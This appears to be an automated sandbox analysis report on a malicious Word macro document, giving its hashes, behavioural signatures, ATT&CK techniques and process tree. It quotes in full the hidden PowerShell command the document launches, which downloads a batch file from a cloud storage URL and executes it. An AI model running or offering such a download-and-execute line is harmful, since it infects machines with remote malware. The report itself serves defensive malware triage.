d28b9b95666eb49011c60d4cf91b42ae39e3f9e388f4d87f3e63c55626d54bb4

General

Target

d28b9b95666eb49011c60d4cf91b42ae39e3f9e388f4d87f3e63c55626d54bb4.doc
Size

32KB
MD5

3759688eef1380d504950f2d182feb2a
SHA1

d04c71e2fbdd885b812b0abff05ab9381f84b35c
SHA256

d28b9b95666eb49011c60d4cf91b42ae39e3f9e388f4d87f3e63c55626d54bb4
SHA512

a3ee0cdb252ef8cfd0495964e846538eaba3e24f9b744858d47b07512b3f17e011b69e59b39b012a21b0da16e3113d71be66cf6fd6d0a9b2e9c2484e01f03690

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4968	4372	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

18 4968 powershell.exe

flow	pid	process
18	4968	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4372 WINWORD.EXE
4372 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4968 powershell.exe
4968 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4968 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4372 WINWORD.EXE
4372 WINWORD.EXE
4372 WINWORD.EXE
4372 WINWORD.EXE
4372 WINWORD.EXE
4372 WINWORD.EXE
4372 WINWORD.EXE

pid	process
4372	WINWORD.EXE
4372	WINWORD.EXE

pid	process
4968	powershell.exe
4968	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4968	powershell.exe

pid	process
4372	WINWORD.EXE
4372	WINWORD.EXE
4372	WINWORD.EXE
4372	WINWORD.EXE
4372	WINWORD.EXE
4372	WINWORD.EXE
4372	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4372 wrote to memory of 4968	4372	WINWORD.EXE	powershell.exe
PID 4372 wrote to memory of 4968	4372	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d28b9b95666eb49011c60d4cf91b42ae39e3f9e388f4d87f3e63c55626d54bb4.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "('https://storage.googleapis.com/present_day/srvsocket.bat','')|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4968

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/4372-136-0x00007FFDEEC20000-0x00007FFDEEC30000-memory.dmp

Filesize
64KB

Download
memory/4372-130-0x00007FFDF0DB0000-0x00007FFDF0DC0000-memory.dmp

Filesize
64KB

Download
memory/4372-131-0x00007FFDF0DB0000-0x00007FFDF0DC0000-memory.dmp

Filesize
64KB

Download
memory/4372-133-0x00007FFDF0DB0000-0x00007FFDF0DC0000-memory.dmp

Filesize
64KB

Download
memory/4372-134-0x00007FFDF0DB0000-0x00007FFDF0DC0000-memory.dmp

Filesize
64KB

Download
memory/4372-135-0x00007FFDEEC20000-0x00007FFDEEC30000-memory.dmp

Filesize
64KB

Download
memory/4372-132-0x00007FFDF0DB0000-0x00007FFDF0DC0000-memory.dmp

Filesize
64KB

Download
memory/4372-141-0x00007FFDF0DB0000-0x00007FFDF0DC0000-memory.dmp

Filesize
64KB

Download
memory/4372-142-0x00007FFDF0DB0000-0x00007FFDF0DC0000-memory.dmp

Filesize
64KB

Download
memory/4372-144-0x00007FFDF0DB0000-0x00007FFDF0DC0000-memory.dmp

Filesize
64KB

Download
memory/4372-143-0x00007FFDF0DB0000-0x00007FFDF0DC0000-memory.dmp

Filesize
64KB

Download
memory/4968-138-0x00007FFE06380000-0x00007FFE06E41000-memory.dmp

Filesize
10.8MB

Download
memory/4968-139-0x00000192F30B0000-0x00000192F30D2000-memory.dmp

Filesize
136KB

Download
memory/4968-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads